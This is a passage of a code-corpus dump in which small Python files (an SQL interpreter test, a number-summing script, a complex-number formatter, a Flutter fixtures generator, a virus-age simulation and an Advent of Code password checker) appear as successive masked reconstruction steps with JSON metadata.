'resources/departments.csv')\r\n self.interpreter.load(CsvTable('departments', filename))\r\n\r\n def tearDown(self):\r\n self.interpreter.unload_all()\r\n\r\n def test_select_1(self):\r\n sql = '''select\r\n id, first_name \|\| ' ' \|\| last_name as full_name, salary - 1000\r\n from employees;'''\r\n self.cli.execute(sql)\r\n self.cli.print_new_line()\r\n\r\n def test_select_2(self):\r\n sql = '''select\r\n e.id, last_name, department_id, departments.id, name\r\n from employees e, departments;'''\r\n self.cli.execute(sql)\r\n self.cli.print_new_line()\r\n\r\n def test_select_all(self):\r\n code = '''select * from employees;'''\r\n self.interpreter.interpret(code)\r\n self.cli.print_new_line()\r\n\r\n def test_select_distinct(self):\r\n sql = '''select distinct\r\n departments.id as dep_id, employees.salary as sal\r\n from employees, departments\r\n order by dep_id, sal desc;'''\r\n self.cli.execute(sql)\r\n self.cli.print_new_line()\r\n\r\n\r\nif __name__ == '__main__':\r\n test = InterpreterTest()\r\n test.setUp()\r\n test.test_select_1()\r\n test.test_select_2()\r\n test.test_select_distinct()\r\n test.tearDown()\r\n", "step-ids": [ 4, 5, 8, 9, 10 ] }	[ 4, 5, 8, 9, 10 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> for x in range(11, m): S = S + x print('sum =', S) <\|reserved_special_token_1\|> m = int(input('请输入一个数：')) S = m for x in range(11, m): S = S + x print('sum =', S) <\|reserved_special_token_1\|> #求11+12+13+。。。+m m = int(input('请输入一个数：')) S = m for x in range(11,m): S = S+x print('sum =',S)	flexible	{ "blob_id": "49ffa225d433ef2263159ba2145da5ba2a95d1f2", "index": 4664, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor x in range(11, m):\n S = S + x\nprint('sum =', S)\n", "step-3": "m = int(input('请输入一个数：'))\nS = m\nfor x in range(11, m):\n S = S + x\nprint('sum =', S)\n", "step-4": "#求11+12+13+。。。+m\nm = int(input('请输入一个数：'))\nS = m\nfor x in range(11,m):\n S = S+x\nprint('sum =',S)", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
import os os.environ['CITY_CONF'] = '/opt/ris-web/city/duisburg.py' from webapp import app app.run(debug=True, host='0.0.0.0')	normal	{ "blob_id": "4276fd61ad48b325961cd45be68eea6eab51f916", "index": 6085, "step-1": "<mask token>\n", "step-2": "<mask token>\napp.run(debug=True, host='0.0.0.0')\n", "step-3": "<mask token>\nos.environ['CITY_CONF'] = '/opt/ris-web/city/duisburg.py'\n<mask token>\napp.run(debug=True, host='0.0.0.0')\n", "step-4": "import os\nos.environ['CITY_CONF'] = '/opt/ris-web/city/duisburg.py'\nfrom webapp import app\napp.run(debug=True, host='0.0.0.0')\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class ComplexCustom(complex): <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class ComplexCustom(complex): <\|reserved_special_token_0\|> def __format__(self, fmt): """This function creates a custom made format for printing complex numbers""" cfmt = '({:' + fmt + '}{:+' + fmt + '}j)' return cfmt.format(self.real, self.imag) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class ComplexCustom(complex): """ This class contains function for a custom made printing format for complex numbers """ def __format__(self, fmt): """This function creates a custom made format for printing complex numbers""" cfmt = '({:' + fmt + '}{:+' + fmt + '}j)' return cfmt.format(self.real, self.imag) <\|reserved_special_token_1\|> '''This class contains a custom made format for printing complex numbers''' class ComplexCustom(complex): ''' This class contains function for a custom made printing format for complex numbers ''' def __format__(self, fmt): '''This function creates a custom made format for printing complex numbers''' cfmt = "({:" + fmt + "}{:+" + fmt + "}j)" return cfmt.format(self.real, self.imag)	flexible	{ "blob_id": "c62647b0b226d97926d1f53975a7aac7c39949d8", "index": 7959, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass ComplexCustom(complex):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass ComplexCustom(complex):\n <mask token>\n\n def __format__(self, fmt):\n \"\"\"This function creates a custom made format for printing complex numbers\"\"\"\n cfmt = '({:' + fmt + '}{:+' + fmt + '}j)'\n return cfmt.format(self.real, self.imag)\n", "step-4": "<mask token>\n\n\nclass ComplexCustom(complex):\n \"\"\"\n This class contains function for\n a custom made printing format for complex numbers\n \"\"\"\n\n def __format__(self, fmt):\n \"\"\"This function creates a custom made format for printing complex numbers\"\"\"\n cfmt = '({:' + fmt + '}{:+' + fmt + '}j)'\n return cfmt.format(self.real, self.imag)\n", "step-5": "'''This class contains a custom made format for printing complex numbers'''\nclass ComplexCustom(complex):\n '''\n This class contains function for\n a custom made printing format for complex numbers\n '''\n def __format__(self, fmt):\n '''This function creates a custom made format for printing complex numbers'''\n cfmt = \"({:\" + fmt + \"}{:+\" + fmt + \"}j)\"\n return cfmt.format(self.real, self.imag)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def main(): parser = argparse.ArgumentParser(description= 'Create the symbol specifying the location of test fixtures.') parser.add_argument('--fixtures_location_file', type=str, required=True) parser.add_argument('--fixtures_location', type=str, required=True) args = parser.parse_args() with open(args.fixtures_location_file, 'w') as file: file.write( 'namespace flutter {namespace testing {const char* GetFixturesPath() {return "%s";}}}' % args.fixtures_location) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def main(): parser = argparse.ArgumentParser(description= 'Create the symbol specifying the location of test fixtures.') parser.add_argument('--fixtures_location_file', type=str, required=True) parser.add_argument('--fixtures_location', type=str, required=True) args = parser.parse_args() with open(args.fixtures_location_file, 'w') as file: file.write( 'namespace flutter {namespace testing {const char* GetFixturesPath() {return "%s";}}}' % args.fixtures_location) if __name__ == '__main__': sys.exit(main()) <\|reserved_special_token_1\|> import argparse import subprocess import sys import os def main(): parser = argparse.ArgumentParser(description= 'Create the symbol specifying the location of test fixtures.') parser.add_argument('--fixtures_location_file', type=str, required=True) parser.add_argument('--fixtures_location', type=str, required=True) args = parser.parse_args() with open(args.fixtures_location_file, 'w') as file: file.write( 'namespace flutter {namespace testing {const char* GetFixturesPath() {return "%s";}}}' % args.fixtures_location) if __name__ == '__main__': sys.exit(main()) <\|reserved_special_token_1\|> #!/usr/bin/env python # Copyright 2013 The Flutter Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import argparse import subprocess import sys import os def main(): parser = argparse.ArgumentParser( description='Create the symbol specifying the location of test fixtures.') parser.add_argument('--fixtures_location_file', type=str, required=True) parser.add_argument('--fixtures_location', type=str, required=True) args = parser.parse_args() with open(args.fixtures_location_file, 'w') as file: file.write('namespace flutter {namespace testing {const char* GetFixturesPath() {return "%s";}}}' % args.fixtures_location) if __name__ == '__main__': sys.exit(main())	flexible	{ "blob_id": "d5c6582547df540ffc9c73d10a3405ec97487bba", "index": 4513, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\n 'Create the symbol specifying the location of test fixtures.')\n parser.add_argument('--fixtures_location_file', type=str, required=True)\n parser.add_argument('--fixtures_location', type=str, required=True)\n args = parser.parse_args()\n with open(args.fixtures_location_file, 'w') as file:\n file.write(\n 'namespace flutter {namespace testing {const char* GetFixturesPath() {return \"%s\";}}}'\n % args.fixtures_location)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\n 'Create the symbol specifying the location of test fixtures.')\n parser.add_argument('--fixtures_location_file', type=str, required=True)\n parser.add_argument('--fixtures_location', type=str, required=True)\n args = parser.parse_args()\n with open(args.fixtures_location_file, 'w') as file:\n file.write(\n 'namespace flutter {namespace testing {const char* GetFixturesPath() {return \"%s\";}}}'\n % args.fixtures_location)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "step-4": "import argparse\nimport subprocess\nimport sys\nimport os\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\n 'Create the symbol specifying the location of test fixtures.')\n parser.add_argument('--fixtures_location_file', type=str, required=True)\n parser.add_argument('--fixtures_location', type=str, required=True)\n args = parser.parse_args()\n with open(args.fixtures_location_file, 'w') as file:\n file.write(\n 'namespace flutter {namespace testing {const char* GetFixturesPath() {return \"%s\";}}}'\n % args.fixtures_location)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "step-5": "#!/usr/bin/env python\n# Copyright 2013 The Flutter Authors. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\nimport argparse\nimport subprocess\nimport sys\nimport os\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Create the symbol specifying the location of test fixtures.')\n\n parser.add_argument('--fixtures_location_file', type=str, required=True)\n parser.add_argument('--fixtures_location', type=str, required=True)\n\n args = parser.parse_args()\n\n with open(args.fixtures_location_file, 'w') as file:\n file.write('namespace flutter {namespace testing {const char* GetFixturesPath() {return \"%s\";}}}'\n % args.fixtures_location)\n\n\nif __name__ == '__main__':\n sys.exit(main())\n", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
from mtots.parser import base from mtots.parser import combinator from mtots.parser.combinator import All from mtots.parser.combinator import Any from mtots.parser.combinator import AnyTokenBut from mtots.parser.combinator import Forward from mtots.parser.combinator import Peek from mtots.parser.combinator import Required from mtots.parser.combinator import Token	normal	{ "blob_id": "f9edbef46494cc2993c6a633fe35406524dbbf67", "index": 1199, "step-1": "<mask token>\n", "step-2": "from mtots.parser import base\nfrom mtots.parser import combinator\nfrom mtots.parser.combinator import All\nfrom mtots.parser.combinator import Any\nfrom mtots.parser.combinator import AnyTokenBut\nfrom mtots.parser.combinator import Forward\nfrom mtots.parser.combinator import Peek\nfrom mtots.parser.combinator import Required\nfrom mtots.parser.combinator import Token\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }	[ 0, 1 ]
class Virus: def __init__(self, _name, _age, _malignancy): self.name = _name self.age = _age self.malignancy = _malignancy def set_name(self, _name): self.name = _name def set_age(self, _age): self.age = _age <\|reserved_special_token_0\|> def update(self): self.age += 1 if self.age % 3 == 0: self.malignancy += 1 if self.malignancy < 0: self.malignancy = 0 if self.malignancy > 99: self.malignancy = 99 <\|reserved_special_token_0\|> <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> class Virus: def __init__(self, _name, _age, _malignancy): self.name = _name self.age = _age self.malignancy = _malignancy def set_name(self, _name): self.name = _name def set_age(self, _age): self.age = _age <\|reserved_special_token_0\|> def update(self): self.age += 1 if self.age % 3 == 0: self.malignancy += 1 if self.malignancy < 0: self.malignancy = 0 if self.malignancy > 99: self.malignancy = 99 def __str__(self): return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name, str(self.age), str(self.malignancy)) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> class Virus: def __init__(self, _name, _age, _malignancy): self.name = _name self.age = _age self.malignancy = _malignancy def set_name(self, _name): self.name = _name def set_age(self, _age): self.age = _age def set_malignancy(self, _malignancy): self.malignancy = _malignancy def update(self): self.age += 1 if self.age % 3 == 0: self.malignancy += 1 if self.malignancy < 0: self.malignancy = 0 if self.malignancy > 99: self.malignancy = 99 def __str__(self): return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name, str(self.age), str(self.malignancy)) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> class Virus: def __init__(self, _name, _age, _malignancy): self.name = _name self.age = _age self.malignancy = _malignancy def set_name(self, _name): self.name = _name def set_age(self, _age): self.age = _age def set_malignancy(self, _malignancy): self.malignancy = _malignancy def update(self): self.age += 1 if self.age % 3 == 0: self.malignancy += 1 if self.malignancy < 0: self.malignancy = 0 if self.malignancy > 99: self.malignancy = 99 def __str__(self): return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name, str(self.age), str(self.malignancy)) if __name__ == '__main__': tmp = input().split() number_of_virus = int(tmp[0]) number_of_day = int(tmp[1]) viruses = [] for index_of_virus in range(0, number_of_virus): tmp = input().split() virus_name = tmp[0] virus_age = int(tmp[1]) virus_malignancy = int(tmp[2]) tmp_virus = Virus(virus_name, virus_age, virus_malignancy) viruses.append(tmp_virus) for day in range(1, number_of_day + 1): print('Hari #{}'.format(str(day))) for index_of_virus in range(0, len(viruses)): viruses[index_of_virus].update() print(viruses[index_of_virus]) <\|reserved_special_token_1\|> class Virus: def __init__(self, _name, _age, _malignancy): self.name = _name self.age = _age self.malignancy = _malignancy def set_name(self, _name): self.name = _name def set_age(self, _age): self.age = _age def set_malignancy(self, _malignancy): self.malignancy = _malignancy def update(self): self.age += 1 if self.age % 3 == 0: self.malignancy += 1 if self.malignancy < 0: self.malignancy = 0 if self.malignancy > 99: self.malignancy = 99 def __str__(self): return "Nama: {}; Usia: {}; Tingkat Keganasan: {}".format(self.name, str(self.age), str(self.malignancy)) if __name__ == "__main__": tmp = input().split() number_of_virus = int(tmp[0]) number_of_day = int(tmp[1]) viruses = [] for index_of_virus in range(0, number_of_virus): tmp = input().split() virus_name = tmp[0] virus_age = int(tmp[1]) virus_malignancy = int(tmp[2]) tmp_virus = Virus(virus_name, virus_age, virus_malignancy) viruses.append(tmp_virus) for day in range(1, number_of_day + 1): print("Hari #{}".format(str(day))) for index_of_virus in range(0, len(viruses)): viruses[index_of_virus].update() print(viruses[index_of_virus])	flexible	{ "blob_id": "49c3c3b8c4b097f520456736e31ac306a9f73ac7", "index": 3544, "step-1": "class Virus:\n\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n\n def set_age(self, _age):\n self.age = _age\n <mask token>\n\n def update(self):\n self.age += 1\n if self.age % 3 == 0:\n self.malignancy += 1\n if self.malignancy < 0:\n self.malignancy = 0\n if self.malignancy > 99:\n self.malignancy = 99\n <mask token>\n\n\n<mask token>\n", "step-2": "class Virus:\n\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n\n def set_age(self, _age):\n self.age = _age\n <mask token>\n\n def update(self):\n self.age += 1\n if self.age % 3 == 0:\n self.malignancy += 1\n if self.malignancy < 0:\n self.malignancy = 0\n if self.malignancy > 99:\n self.malignancy = 99\n\n def __str__(self):\n return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name,\n str(self.age), str(self.malignancy))\n\n\n<mask token>\n", "step-3": "class Virus:\n\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n\n def set_age(self, _age):\n self.age = _age\n\n def set_malignancy(self, _malignancy):\n self.malignancy = _malignancy\n\n def update(self):\n self.age += 1\n if self.age % 3 == 0:\n self.malignancy += 1\n if self.malignancy < 0:\n self.malignancy = 0\n if self.malignancy > 99:\n self.malignancy = 99\n\n def __str__(self):\n return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name,\n str(self.age), str(self.malignancy))\n\n\n<mask token>\n", "step-4": "class Virus:\n\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n\n def set_age(self, _age):\n self.age = _age\n\n def set_malignancy(self, _malignancy):\n self.malignancy = _malignancy\n\n def update(self):\n self.age += 1\n if self.age % 3 == 0:\n self.malignancy += 1\n if self.malignancy < 0:\n self.malignancy = 0\n if self.malignancy > 99:\n self.malignancy = 99\n\n def __str__(self):\n return 'Nama: {}; Usia: {}; Tingkat Keganasan: {}'.format(self.name,\n str(self.age), str(self.malignancy))\n\n\nif __name__ == '__main__':\n tmp = input().split()\n number_of_virus = int(tmp[0])\n number_of_day = int(tmp[1])\n viruses = []\n for index_of_virus in range(0, number_of_virus):\n tmp = input().split()\n virus_name = tmp[0]\n virus_age = int(tmp[1])\n virus_malignancy = int(tmp[2])\n tmp_virus = Virus(virus_name, virus_age, virus_malignancy)\n viruses.append(tmp_virus)\n for day in range(1, number_of_day + 1):\n print('Hari #{}'.format(str(day)))\n for index_of_virus in range(0, len(viruses)):\n viruses[index_of_virus].update()\n print(viruses[index_of_virus])\n", "step-5": "\nclass Virus:\n def __init__(self, _name, _age, _malignancy):\n self.name = _name\n self.age = _age\n self.malignancy = _malignancy\n\n def set_name(self, _name):\n self.name = _name\n \n def set_age(self, _age):\n self.age = _age\n\n def set_malignancy(self, _malignancy):\n self.malignancy = _malignancy\n\n def update(self):\n self.age += 1\n\n if self.age % 3 == 0:\n self.malignancy += 1\n\n if self.malignancy < 0:\n self.malignancy = 0\n\n if self.malignancy > 99:\n self.malignancy = 99\n \n def __str__(self):\n return \"Nama: {}; Usia: {}; Tingkat Keganasan: {}\".format(self.name, str(self.age), str(self.malignancy))\n\nif __name__ == \"__main__\":\n tmp = input().split()\n number_of_virus = int(tmp[0])\n number_of_day = int(tmp[1])\n\n viruses = []\n for index_of_virus in range(0, number_of_virus):\n tmp = input().split()\n virus_name = tmp[0]\n virus_age = int(tmp[1])\n virus_malignancy = int(tmp[2])\n\n tmp_virus = Virus(virus_name, virus_age, virus_malignancy)\n\n viruses.append(tmp_virus)\n\n for day in range(1, number_of_day + 1):\n print(\"Hari #{}\".format(str(day)))\n\n for index_of_virus in range(0, len(viruses)):\n viruses[index_of_virus].update()\n \n print(viruses[index_of_virus])\n", "step-ids": [ 5, 6, 7, 8, 9 ] }	[ 5, 6, 7, 8, 9 ]
def part_1() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number(str(number)): total += 1 return total <\|reserved_special_token_0\|> def check_number_2(problem_input: str) ->bool: previous = 0 current = 1 triple = True seen_a_double = False length = len(problem_input) while current < length: if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[current]) == int(problem_input[previous]): if previous >= 1: triple = int(problem_input[previous - 1]) == int(problem_input [previous]) if current < length - 1: triple = int(problem_input[current + 1]) == int(problem_input [current]) while current < length - 1 and int(problem_input[current] ) == int(problem_input[current + 1]): current += 1 previous += 1 if not triple: seen_a_double = True previous += 1 current += 1 return seen_a_double <\|reserved_special_token_0\|> def main(): x = '111111' print(check_number(x) is True) x = '223450' print(check_number(x) is False) x = '123789' print(check_number(x) is False) print('PART 1:', part_1()) x = '112233' print(check_number_2(x) is True) x = '123444' print(check_number_2(x) is False) x = '111122' print(check_number_2(x) is True) x = '112222' print(check_number_2(x) is True) x = '1112589' print(check_number_2(x) is False) print('PART 2:', part_2()) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def part_1() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number(str(number)): total += 1 return total <\|reserved_special_token_0\|> def check_number_2(problem_input: str) ->bool: previous = 0 current = 1 triple = True seen_a_double = False length = len(problem_input) while current < length: if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[current]) == int(problem_input[previous]): if previous >= 1: triple = int(problem_input[previous - 1]) == int(problem_input [previous]) if current < length - 1: triple = int(problem_input[current + 1]) == int(problem_input [current]) while current < length - 1 and int(problem_input[current] ) == int(problem_input[current + 1]): current += 1 previous += 1 if not triple: seen_a_double = True previous += 1 current += 1 return seen_a_double def part_2() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number_2(str(number)): total += 1 return total def main(): x = '111111' print(check_number(x) is True) x = '223450' print(check_number(x) is False) x = '123789' print(check_number(x) is False) print('PART 1:', part_1()) x = '112233' print(check_number_2(x) is True) x = '123444' print(check_number_2(x) is False) x = '111122' print(check_number_2(x) is True) x = '112222' print(check_number_2(x) is True) x = '1112589' print(check_number_2(x) is False) print('PART 2:', part_2()) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def part_1() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number(str(number)): total += 1 return total def check_number(problem_input: str) ->bool: previous = 0 double = False for current in range(1, len(problem_input)): if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[previous]) == int(problem_input[current]): double = True previous += 1 return double def check_number_2(problem_input: str) ->bool: previous = 0 current = 1 triple = True seen_a_double = False length = len(problem_input) while current < length: if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[current]) == int(problem_input[previous]): if previous >= 1: triple = int(problem_input[previous - 1]) == int(problem_input [previous]) if current < length - 1: triple = int(problem_input[current + 1]) == int(problem_input [current]) while current < length - 1 and int(problem_input[current] ) == int(problem_input[current + 1]): current += 1 previous += 1 if not triple: seen_a_double = True previous += 1 current += 1 return seen_a_double def part_2() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number_2(str(number)): total += 1 return total def main(): x = '111111' print(check_number(x) is True) x = '223450' print(check_number(x) is False) x = '123789' print(check_number(x) is False) print('PART 1:', part_1()) x = '112233' print(check_number_2(x) is True) x = '123444' print(check_number_2(x) is False) x = '111122' print(check_number_2(x) is True) x = '112222' print(check_number_2(x) is True) x = '1112589' print(check_number_2(x) is False) print('PART 2:', part_2()) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def part_1() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number(str(number)): total += 1 return total def check_number(problem_input: str) ->bool: previous = 0 double = False for current in range(1, len(problem_input)): if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[previous]) == int(problem_input[current]): double = True previous += 1 return double def check_number_2(problem_input: str) ->bool: previous = 0 current = 1 triple = True seen_a_double = False length = len(problem_input) while current < length: if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[current]) == int(problem_input[previous]): if previous >= 1: triple = int(problem_input[previous - 1]) == int(problem_input [previous]) if current < length - 1: triple = int(problem_input[current + 1]) == int(problem_input [current]) while current < length - 1 and int(problem_input[current] ) == int(problem_input[current + 1]): current += 1 previous += 1 if not triple: seen_a_double = True previous += 1 current += 1 return seen_a_double def part_2() ->int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number_2(str(number)): total += 1 return total def main(): x = '111111' print(check_number(x) is True) x = '223450' print(check_number(x) is False) x = '123789' print(check_number(x) is False) print('PART 1:', part_1()) x = '112233' print(check_number_2(x) is True) x = '123444' print(check_number_2(x) is False) x = '111122' print(check_number_2(x) is True) x = '112222' print(check_number_2(x) is True) x = '1112589' print(check_number_2(x) is False) print('PART 2:', part_2()) if __name__ == '__main__': main() <\|reserved_special_token_1\|> def part_1() -> int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number(str(number)): total += 1 return total def check_number(problem_input: str) -> bool: previous = 0 double = False for current in range(1, len(problem_input)): if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[previous]) == int(problem_input[current]): double = True previous += 1 return double def check_number_2(problem_input: str) -> bool: previous = 0 current = 1 triple = True seen_a_double = False length = len(problem_input) while current < length: if int(problem_input[current]) < int(problem_input[previous]): return False if int(problem_input[current]) == int(problem_input[previous]): if previous >= 1: triple = int(problem_input[previous - 1]) == int(problem_input[previous]) if current < length - 1: triple = int(problem_input[current + 1]) == int(problem_input[current]) while current < length - 1 and int(problem_input[current]) == int(problem_input[current + 1]): current += 1 previous += 1 if not triple: seen_a_double = True previous += 1 current += 1 return seen_a_double def part_2() -> int: start = 382345 end = 843167 total = 0 for number in range(start, end + 1): if check_number_2(str(number)): total += 1 return total def main(): x = "111111" print(check_number(x) is True) x = "223450" print(check_number(x) is False) x = "123789" print(check_number(x) is False) print("PART 1:", part_1()) # should be 460 x = "112233" print(check_number_2(x) is True) x = "123444" print(check_number_2(x) is False) x = "111122" print(check_number_2(x) is True) x = "112222" print(check_number_2(x) is True) x = "1112589" print(check_number_2(x) is False) print("PART 2:", part_2()) if __name__ == '__main__': main()	flexible	{ "blob_id": "c46495eebbe796253f56b7472d5548b41c5d0bc4", "index": 2411, "step-1": "def part_1() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number(str(number)):\n total += 1\n return total\n\n\n<mask token>\n\n\ndef check_number_2(problem_input: str) ->bool:\n previous = 0\n current = 1\n triple = True\n seen_a_double = False\n length = len(problem_input)\n while current < length:\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[current]) == int(problem_input[previous]):\n if previous >= 1:\n triple = int(problem_input[previous - 1]) == int(problem_input\n [previous])\n if current < length - 1:\n triple = int(problem_input[current + 1]) == int(problem_input\n [current])\n while current < length - 1 and int(problem_input[current]\n ) == int(problem_input[current + 1]):\n current += 1\n previous += 1\n if not triple:\n seen_a_double = True\n previous += 1\n current += 1\n return seen_a_double\n\n\n<mask token>\n\n\ndef main():\n x = '111111'\n print(check_number(x) is True)\n x = '223450'\n print(check_number(x) is False)\n x = '123789'\n print(check_number(x) is False)\n print('PART 1:', part_1())\n x = '112233'\n print(check_number_2(x) is True)\n x = '123444'\n print(check_number_2(x) is False)\n x = '111122'\n print(check_number_2(x) is True)\n x = '112222'\n print(check_number_2(x) is True)\n x = '1112589'\n print(check_number_2(x) is False)\n print('PART 2:', part_2())\n\n\n<mask token>\n", "step-2": "def part_1() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number(str(number)):\n total += 1\n return total\n\n\n<mask token>\n\n\ndef check_number_2(problem_input: str) ->bool:\n previous = 0\n current = 1\n triple = True\n seen_a_double = False\n length = len(problem_input)\n while current < length:\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[current]) == int(problem_input[previous]):\n if previous >= 1:\n triple = int(problem_input[previous - 1]) == int(problem_input\n [previous])\n if current < length - 1:\n triple = int(problem_input[current + 1]) == int(problem_input\n [current])\n while current < length - 1 and int(problem_input[current]\n ) == int(problem_input[current + 1]):\n current += 1\n previous += 1\n if not triple:\n seen_a_double = True\n previous += 1\n current += 1\n return seen_a_double\n\n\ndef part_2() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number_2(str(number)):\n total += 1\n return total\n\n\ndef main():\n x = '111111'\n print(check_number(x) is True)\n x = '223450'\n print(check_number(x) is False)\n x = '123789'\n print(check_number(x) is False)\n print('PART 1:', part_1())\n x = '112233'\n print(check_number_2(x) is True)\n x = '123444'\n print(check_number_2(x) is False)\n x = '111122'\n print(check_number_2(x) is True)\n x = '112222'\n print(check_number_2(x) is True)\n x = '1112589'\n print(check_number_2(x) is False)\n print('PART 2:', part_2())\n\n\n<mask token>\n", "step-3": "def part_1() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number(str(number)):\n total += 1\n return total\n\n\ndef check_number(problem_input: str) ->bool:\n previous = 0\n double = False\n for current in range(1, len(problem_input)):\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[previous]) == int(problem_input[current]):\n double = True\n previous += 1\n return double\n\n\ndef check_number_2(problem_input: str) ->bool:\n previous = 0\n current = 1\n triple = True\n seen_a_double = False\n length = len(problem_input)\n while current < length:\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[current]) == int(problem_input[previous]):\n if previous >= 1:\n triple = int(problem_input[previous - 1]) == int(problem_input\n [previous])\n if current < length - 1:\n triple = int(problem_input[current + 1]) == int(problem_input\n [current])\n while current < length - 1 and int(problem_input[current]\n ) == int(problem_input[current + 1]):\n current += 1\n previous += 1\n if not triple:\n seen_a_double = True\n previous += 1\n current += 1\n return seen_a_double\n\n\ndef part_2() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number_2(str(number)):\n total += 1\n return total\n\n\ndef main():\n x = '111111'\n print(check_number(x) is True)\n x = '223450'\n print(check_number(x) is False)\n x = '123789'\n print(check_number(x) is False)\n print('PART 1:', part_1())\n x = '112233'\n print(check_number_2(x) is True)\n x = '123444'\n print(check_number_2(x) is False)\n x = '111122'\n print(check_number_2(x) is True)\n x = '112222'\n print(check_number_2(x) is True)\n x = '1112589'\n print(check_number_2(x) is False)\n print('PART 2:', part_2())\n\n\n<mask token>\n", "step-4": "def part_1() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number(str(number)):\n total += 1\n return total\n\n\ndef check_number(problem_input: str) ->bool:\n previous = 0\n double = False\n for current in range(1, len(problem_input)):\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[previous]) == int(problem_input[current]):\n double = True\n previous += 1\n return double\n\n\ndef check_number_2(problem_input: str) ->bool:\n previous = 0\n current = 1\n triple = True\n seen_a_double = False\n length = len(problem_input)\n while current < length:\n if int(problem_input[current]) < int(problem_input[previous]):\n return False\n if int(problem_input[current]) == int(problem_input[previous]):\n if previous >= 1:\n triple = int(problem_input[previous - 1]) == int(problem_input\n [previous])\n if current < length - 1:\n triple = int(problem_input[current + 1]) == int(problem_input\n [current])\n while current < length - 1 and int(problem_input[current]\n ) == int(problem_input[current + 1]):\n current += 1\n previous += 1\n if not triple:\n seen_a_double = True\n previous += 1\n current += 1\n return seen_a_double\n\n\ndef part_2() ->int:\n start = 382345\n end = 843167\n total = 0\n for number in range(start, end + 1):\n if check_number_2(str(number)):\n total += 1\n return total\n\n\ndef main():\n x = '111111'\n print(check_number(x) is True)\n x = '223450'\n print(check_number(x) is False)\n x = '123789'\n print(check_number(x) is False)\n print('PART 1:', part_1())\n x = '112233'\n print(check_number_2(x) is True)\n x = '123444'\n print(check_number_2(x) is False)\n x = '111122'\n print(check_number_2(x) is True)\n x = '112222'\n print(check_number_2(x) is True)\n x = '1112589'\n 